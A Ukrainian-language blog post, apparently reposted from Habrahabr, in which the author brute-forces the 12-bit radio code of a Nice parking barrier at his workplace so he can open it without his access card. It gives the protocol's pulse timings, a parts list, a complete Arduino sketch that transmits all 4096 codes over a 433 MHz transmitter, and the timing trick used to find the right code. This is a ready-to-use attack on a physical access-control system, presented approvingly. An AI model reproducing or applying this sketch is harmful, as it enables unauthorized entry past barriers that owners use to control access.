Керування шлагбаумом з допомогою Arduino UNO і радіопередавача 433 МГц

Всім привіт! У мене на роботі є автомобільна парковка. Звичайно, мета даної статті не хвастощі, враховуючи складну ситуацію на дорогах з паркувальними місцями, і не піар мого керівництва про те, що вони піклуються про своїх співробітників (не буду навіть згадувати про місце своєї роботи!), справа зовсім не в цьому. Суть в тому, що заважає будь-якій іншій людині, що не має стосунку до місця моєї роботи, припаркуватися на цій парковці? А це шлагбаум, що обмежує в'їзд та виїзд з цієї парковки.

І як у багатьох організаціях, вхід на моє підприємство здійснюється за звичайним перепустками, щоб контролювати мене і всіх інших. Ну і в'їзд на парковку зробили також, за цим же перепустками. Тобто під'їжджаєш до парковці, підносиш пропуск до зчитувача, він спрацьовує, шлагбаум відкривається (закривається автоматично), заїжджаєш і все. Так думали вони. Але моє захоплення електронікою і природна лінь (це адже кожен раз під'їжджати, відкривати вікно, витягувати руку, закривати вікно, а якщо дощ, а якщо холодно) пішли проти системи.

Отже, ближче до справи. Насамперед, дізнався, що шлагбаум виявився досить-таки популярної фірми Nice і почав шукати про нього інформацію. Однак, незважаючи на популярність фірми виробника, інформації про його форматах кодів було дуже мало. З'ясувалося, що існують 12-бітові та 24-розрядні формати кодів. 12-бітові більш давні, 24-бітові – посучасніше. Так як я знаю, що шлагбаум на роботі стоїть давно, вирішив почати з 12-бітових кодів (згодом вгадав). І так пакет даних складається з 12 біт. Перед 12-бітним кодом йде, так званий, «пілотний період» і «стартовий імпульс». «Пілотний період» складається з 36 інтервалів низького рівня, «стартовий імпульс» складається з 1 інтервалу високого рівня. Один пакет даних складається з «пілотного періоду», за ним «стартовий імпульс» і за ним 12-бітний код (для кожного шлагбаума свій). Пульти шлагбаумів передають відразу по 4 пакети даних, але я поставив більше, так як дуже багато пристроїв працюють на даній частоті (зокрема автомобільні сигналізації) і можливі перешкоди. Тривалості імпульсів для шлагбаумів Nice:

  • Логічна «1» – 1400 мкс низького рівня (два інтервали) і 700 мкс високого (один інтервал)
  • Логічний «0» – це 700 мкс низького рівня (один інтервал) та 1400 мкс високого (один інтервал)
  • «Пілотний період» – 25200 мкс (36 інтервалів)
  • «Стартовий імпульс» – 700 мкс (1 інтервал)
Так як пультів від цього шлагбаума ні в мене, ні в кого немає (в такому б випадком просто можна було вважати сигнал з діючого пульта), то вгадувати істинний код доведеться методом перебору всіх можливих варіантів, а 4096.

З допомогою чого, взагалі, все це можна реалізувати? Нещодавнє моє захоплення платформами Arduino, не дали довго міркувати над цим питанням.

Список компонентів:

1. Arduino Uno,



2. Радіопередавач 433Мгц, саморобна антена до нього,



3. Батарея 9 вольт, в народі «Крона».



Дані функції у відомих китайських магазинах продаються дуже дешево (близько 50 руб.), спільно з радіоприймачами. Вони дуже прості, три контакту: харчування, земля і сигнальний контакт. Живлення від 5 до 12 вольт, чим вище напруга живлення, тим краще далекобійність. Власне з цієї причини була обрана 9 вольтова батарейка. Рекомендоване напруги живлення Arduino Uno від 7 до 12 вольт (контакт Vin), так що «Крона» цілком підходить. Також далекобійність радіопередавача залежить від наявності антени (без неї дальність буде близько 1 метра). Весь комплект обійшовся близько 300 руб.

Ось, власне, і сам скетч для Arduino Uno:

int send_code_pin = 13;
//int send_code = 3061; це певний код методом перебору для мого шлагбаума

void setup()
{
pinMode(send_code_pin, OUTPUT);
}

void loop ()
{
for (int send_code = 0; send_code < 4096; send_code++) // цей цикл після того, як код визначено необхідно прибрати
{
for (int j = 0; j <7; j++) // достатньо 4-х, але з-за перешкод поставив 7
{
digitalWrite(send_code_pin, HIGH); // стартовий імпульс
delayMicroseconds(700);
digitalWrite(send_code_pin, LOW);
for (int i = 12; i > 0; i--)
{
boolean bit_code = bitRead(send_code, i - 1);
if (bit_code)
{
digitalWrite(send_code_pin, LOW); // одиниця
delayMicroseconds(1400);
digitalWrite(send_code_pin, HIGH);
delayMicroseconds(700);
}
else
{
digitalWrite(send_code_pin, LOW); // нуль
delayMicroseconds(700);
digitalWrite(send_code_pin, HIGH);
delayMicroseconds(1400);
}
}
digitalWrite(send_code_pin, LOW); // пілотний період
delayMicroseconds(25200);
}
}
//delay(10000); після визначення коду поставити затримку
}

Перебір всіх можливих варіантів зайняв близько 1 тижня, з урахуванням одного виходу в день до шлагбауму. Методика швидкого вибору правильного коду була дуже простою. З допомогою команди micros() визначив час передачі одного коду. Він склав приблизно 0,25 сек. Загальна перебору всіх варіантів близько 17 хв. Перед шлагбаумом запустив Arduino і засік час. Десь на 12,5 хвилині відкрився шлагбаум. Виходячи з цього, я відкинув одразу перші 2800 варіантів. І так далі. Коли варіантів залишилося близько 30, після кожної передачі даних ставив затримку в 1 секунду. Так як контакт передачі даних я встановив 13-им (зі світлодіодом), було видно кожен момент передачі, підрахував і визначив точний код.

От і все! В якості демо — відео розкриття:


Спасибі за увагу!
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.